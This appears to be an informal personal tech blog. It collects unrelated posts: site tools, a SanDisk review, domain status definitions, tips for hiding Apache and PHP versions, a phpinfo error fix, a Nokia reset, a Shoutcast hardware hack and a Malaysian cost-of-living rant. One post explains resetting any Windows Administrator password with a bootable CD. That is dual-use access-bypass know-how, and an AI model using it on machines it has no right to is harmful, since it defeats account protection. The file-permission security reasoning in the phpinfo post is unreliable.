The first function is url shortenerr. this function may help you shorten any url using our subdomain which is http://anytag.g3ek.net . You may choose your own tag and make a subdomain. By doing this way, you can hide your affiliate links and you may also shorten a long url that hard to remember. It also helps you to post link in forums or blogs. Our URL shortener helps you to turn ridiculous url into short, meaningful, permanent url. You may directly go to this g3ek tools using the following link : http://www.g3ek.net/short/

The second function is free image hosting. This function will host your image without limiting any bandwidth to the image. Our server is located in Singapore so this is advantage for those who are living nearby singapore or in asia region since the latency and speed is better than other International servers. We will not charge any cents to g3ek out there and we have limit the upload size to 140000 bytes. You are welcome to promote our free image hosting to your g3ek friends.

Review on Sandisk Sansa

Today i went to low yat with my friend mice. At first, i thought i just want to accompany him to buy his things but at last i bought a new mp3 player which is San Disk sansa 2gb.

The overall impression for this item is "It is a very good buy and It worth your money"
I bought the item at RM180 ringgit only. Compare to others like sony and samsung, i think san disk is the cheapest.
The best thing about this mp3 player is you can add-on a micro sd card for bigger space.
Here is the summary:

Outlook: A bit bigger than thumb drive but surely I will carry this item around instead of my boring thumb drive. Looks expensive compare to Samsung and Creative 1Gb mp3 players.
Space: 2GB + Micro Sd Card Storage
Functions: Voice Recording, Mp3 Player, FM tune, Can act like normal thumb drive.
Battery: Last for at least 10 hours.

Although I have this newly mp3 player, i still sad because i lost my Ipod Nano.
Hope i will find it soon. *pray*

Ever Wonder What the Exact Domain Status?

do you always perform a whois on a domain?
maybe lots of you do not know what is the exact status of a domain name.
a domain name always have a status given from the registrar such as active, pending delete and etc.
The following articles is the complete guide for a domain status

ACTIVE: The registry sets this status. The domain can be modified by the registrar. The domain can be renewed. The domain will be included in the zone if the domain has been delegated to at least one name server.

REGISTRY-LOCK: The registry sets this status. The domain can not be modified or deleted by the registrar. The registry must remove the REGISTRY-LOCK status for the registrar to modify the domain. The domain can be renewed. The domain will be included in the zone if the domain has been delegated to at least one name server.

REGISTRAR-LOCK: The sponsoring registrar sets this status. The domain can not be modified or deleted. The registrar must remove REGISTRAR-LOCK status to modify the domain. The domain can be renewed. The domain will be included in the zone.

REGISTRY-HOLD: The registry sets this status. The domain can not be modified or deleted by the registrar. The registry must remove the REGISTRY-HOLD status for the registrar to modify the domain. The domain can be renewed. The domain will not be included in the zone.

REGISTRAR-HOLD: The sponsoring registrar sets this status. The domain can not be modified or deleted. The registrar must remove REGISTRAR-HOLD status to modify the domain. The domain can be renewed. The domain will not be included in the zone.

REDEMPTIONPERIOD: The registry sets this status when a registrar requests that the domain name be deleted from the registry and the domain has been registered for more than 5 calendar days (if the delete request is received within 5 days of initial domain registration it will instead be deleted immediately). The domain will not be included in the zone. The domain can not be modified or purged; it can only be restored. Any other registrar requests to modify or otherwise update the domain will be rejected. The domain will be held in this status for a maximum of 30 calendar days.

PENDINGRESTORE: The registry sets this status after a registrar requests restoration of a domain that is in REDEMPTIONPERIOD status. The domain will be included in the zone. Registrar requests to modify or otherwise update the domain will be rejected. The domain will be held in this status while the registry waits for the registrar to provide required restoration documentation. If the registrar fails to provide documentation to the registry within 7 calendar days to confirm the restoration request, the domain will revert to REDEMPTIONPERIOD status. The domain status will be set to ACTIVE only if the registrar provides documentation to the registry within 7 calendar days to confirm the restoration request.

PENDINGDELETE: The registry sets this status after a domain has been set in REDEMPTIONPERIOD status and the domain has not been restored by the registrar. The domain will not be included in the zone. Once in this status all registrar requests to modify or otherwise update the domain will be rejected. The domain will be purged from the registry database after being in this status for 5 calendar days

Hide PHP and Apache Version Number

One of the most basic security practice in the web application world is to hide your web server’s software version number. It doesn’t matter if you use Apache 1.3.37 or lighttpd 1.4.10 on a Linux machine or IIS-5.0 on Windows, hiding the version number is crucial if you want to mitigate the risk of your server being attacked by troublemakers.


BEFORE TREATMENT:

AFTER TREATMENT:

Version numbers are the first thing a typical hacker will look for if they want to attack your server. This is because once they know what version your web server is running on, they can easily look for what kind of vulnerabilities are associated with that version, and then simply run the related exploit to hack your server. Attackers can easily know the type and version of your webserver by looking at the HTTP response headers received after they send requests to your application through a Telnet program, or by using Firefox addons/extensions like ServerSpy and Live HTTP Headers in order to see your web server’s version the moment they visit your site.
So hide your Apache and PHP version!
In order to do this, you need to do some sys admin job. I am going to specifically focus on Apache and PHP because I am more of a LAMP (Linux + Apache + MySQL + PHP) user. If you use ASP on Microsoft IIS, I can’t help you much with all these version-hiding thingy (but hey, Google is there to save your day! )
So here goes..
Hide Apache version number:
Open your Apache’s httpd.conf file (in my case, # vi /usr/local/apache/conf/httpd.conf), and look for the line that says: “ServerSignature On“
Change it to “ServerSignature Off” (this will hide the Apache version normally seen at the bottom of your 404 error pages)
Then add “ServerTokens Prod” below that line (to hide the version in HTTP response headers)
Restart your HTTP service (# /etc/init.d/httpd restart)
Done! No more Apache version numbers
Hide PHP version number:
Find your php.ini file (in my case, # vi /usr/local/lib/php.ini), and look for the line that says: “expose_php On“
Change it to: “expose_php Off“
Restart your HTTP service if necessary
Done! No more PHP version number in your HTTP response header
Wasn’t that hard now, was it? Just a few tweaks can save you a great deal of security risk, and may save you your business too! Bear in mind that this does not in any way protect from real vulnerabilities that may be associated with your version. Patches or upgrades should still be applied. However, hiding the version numbers will at least make the hackers life harder

phpinfo internal server error 500

if you try to execute phpinfo from a php file and you get 500 internal server error it is because of the permission of the file. here are the details


If you get 500 Internal Server Error message,

1. Check whether the file permission is set to 700. If your file permission is set to something else (e.g., 777 or 644), you will get a 500 - Internal Server Error.

Note: Setting the file permission to 711 or 755 will not give you a 500 error, but we strongly recommend using 700 for security reasons.

Search tools such as Google Code Search make it simple to find Web sites vulnerable to attacks by enabling users to search for regular expressions, exact strings and even restrict their searches to code written in specific programming languages. The tool searches all of the publicly available source code it can find. So you should not set the permissions of your files 755.

2. Check the Directory (folder) permission. Setting it to 777 will give you a 500 - Internal Server Error.
Set it to 711.

3. When the file/directory permissions are set correctly, and you are still getting a 500 error, you need to work with the file on Unix.

1. Using SSH, connect to your account. For instructions on how to use SSH, please see How to use SSH
2. Move to the directory where your php file is using the cd command.
3. Open the file using pico and save it (Ctrl+o).

This simple steps may solve your problem because it converts Windows CR/LF (carriage return/line feed) to Unix LF (line feed) or Mac CR to Unix LF.

To prevent this problem, you need to change settings/preferences in the program you are using to develop php files. To set preferences in Dreamweaver, go to Edit => Preferences. Select Code Format or HTML Format (depending on the versions). Change Line Breaks to LF (Unix).

How to format Nokia Phone

Steps
Turn your device off.
Remove SIM card and MMC card (actually, you do not need to remove these, but after format remember to format memory card and reboot phone).
Press (3 + * + CallButton) Together.
Turn your device on while you are pressing the three buttons.
You should now see "Formatting .." on the Screen! Leave the buttons now.

Tips
You can also use some programs to format the device for you.
The format will not include the MMC Card, only the device (C Drive)...
The above method isn't always easy. You can do the format using this simple key combination *#7370# and the phone will prompt you to enter the phone lock code which is 12345 by default.

Warnings
Don't apply these steps if you are not sure what you are doing.
Make sure you have enough battery power before beginning this procedure.
Formatting will erase all your contacts/messages, so make a backup of your phone before formatting.

How to recover windows 2000 password

Today theres on PC i need to retrive the administrator password.
I dont know why the password is incorrect. maybe some other g3ek have changed it. But well, i can still manage this problem using Austrumi. What actually you need to do is download this software from their website and burn into a CD. This CD is bootable and they using linux technology.

Details:

Austrumi (v0.9.2 - December 2004)
Austrumi is a Linux bootable ISO image for recovering NT passwords and other cool tools and methods, sized for Business Card size CD media (50Mb). It allows you to change any password, including that of the Administrator, on a partition occupied by Windows NT, Windows 2000 or Windows XP. Simply boot the CD and when you get to the initial boot prompt, type:
boot: nt_pass
This will launch a console utility that will detect Windows partitions on the hard disk and provide you with a menu to modify any user or Administrator passwords on the Windows system. It will even give access to the Windows registry for recovery purposes. Quite a handy utility to keep in your wallet (AUSTRUMI is small enough to fit on a business card-size CD) if you are unfortunate enough to having to deal with Windows machines in your line of work.

Taking Call With Shoutcast

I got a lot of question regarding how i broadcast a call when i become a DJ using shoutcast.
I will post a rough work and will post a good product later.( maybe i should sell it ? )
ok. to broadcast a call using shoutcast is quite an easy job if we use speaker phone.
What you need to do is just put one mic to a speaker phone and another mic to yourself.
this method is not really a thrill to a geek.
and here's another method that i use.

I create this tutorial using my nokia 3230 and took picture with it as well. Sorry because it is not so clear but i dont have my camera right now to take pictures.

Tool that you need :
-soldring iron
-cheap handsfree
-some wires
-wire cutter
-nokia handphone


heres the concept what we going to do:


How we gonna do it?
1.First get a cheap handsfree from nearest handphone shop



2. Peel of the rubber of the head and you will see only the head connector.


3. Solder wire according to the following picture, the connector will looks like this and you need to connect 2 wires from connector to the soundcard plug(i dont know what this plug name but you can find in any hardware shop)


Connect with this plug:



This is the finished product from me. Such a rubbish thingy but it still do the job.




Connect all the wires according to the concept that i have posted above.
if you still have any other question regarding this. Do not hesitate to contact me
I will try to help

Good Luck~!

RM3000 is enough to live in malaysia?

Electricity charge in malaysia will increase start from 1st of june.

Letrik Naik, Cukupke Gaji RM3,000 Sebulan?
Let's to do some calculations here.

In Malaysia the average family income is RM3000 (Father works, mother doesnt). I understand there are a lot of families whose income don't reach RM3000, but, to make things simple, lets take RM3000 as the figure. ok la right?

Okay, let's start rolling with a family which has Papa, Mama, 1 daughter and 1 son. ngam ngam..
Calculation starts...

Electricity and water bil RM100 (no aircond, no home theatre, no water heater k?)

Telekom and Handphone bil RM100 (cannot make a lot of calls one you know? NO Streamyx also)

Meal for the whole happy family RM775 (3 meals on RM25/day, RM25 for 4 persons????)

Papa makan/teh tarik during working hours RM155 (RM5/day, RM5 can eat what?)

Car repayment RM400 (a proton saga aeroback, 7 years repayment)

Petrol RM300 (Living in City, Jam) Go to work, bring son to school, only can afford one car running.

Insurance RM650, (kids, wife and myself).

House repayment RM750 (Low cost housing repayment for 30 years, retired still have to work to pay house!)

Tuition RM80 (got that cheap meh?? No, I don't think so)

Older children pocket money @ school RM20 (RM1/day, eat bread??)

School fees RM30 (enough ah??)

School books and etc etc. RM100 (always got extra to pay in school)

Younger children milk powder RM50 (cannot have the DHA, BHA, PHA one, expensive)

Miscellaneous RM100 (shampoo, rice, sauce, toilet paper)

oh wait!!! I have to stop here, so... No Astro, no movie @ cinema, no DVD, no CD, no online, cannot KFC, cannot Mc Donald, cannot go Park walk during weekend(petrol expensive), no chit chat on phone with grandparents, and etc...

Let's use a calculator to total up... WALAO EI.. Shit! RM3610 already.. EPF belum potong, income tax lagi,........ oledi --- RM610...

How to survive laa tuan-tuan dan puan-puan sekalian??? Our Deputy Prime Minister ask us to change lifestyle? How to change? Don't eat? Don't work? Don't send children to school and study?

Besides that, I believe in Malaysia population, there are millions of Rakyat Malaysia which still don't earn RM3000/month!!!

What is this? Ini lah Malaysia Boleh.. Sorry.. it should be Malaysians

Boleh, because we're still alive and kicking!!

Our politicians must be mad!!!!!!

p/s - Hari ni 25/2/2006, eletrik naik 12% kalau dulu belanja RM100 sebulan sekarang dah RM112 sebulan. Kerajaan Barang Naik memang bagus... najib kata rakyat Malaysia perlu ubah cara hidup... aku kata ubah kerajaan...
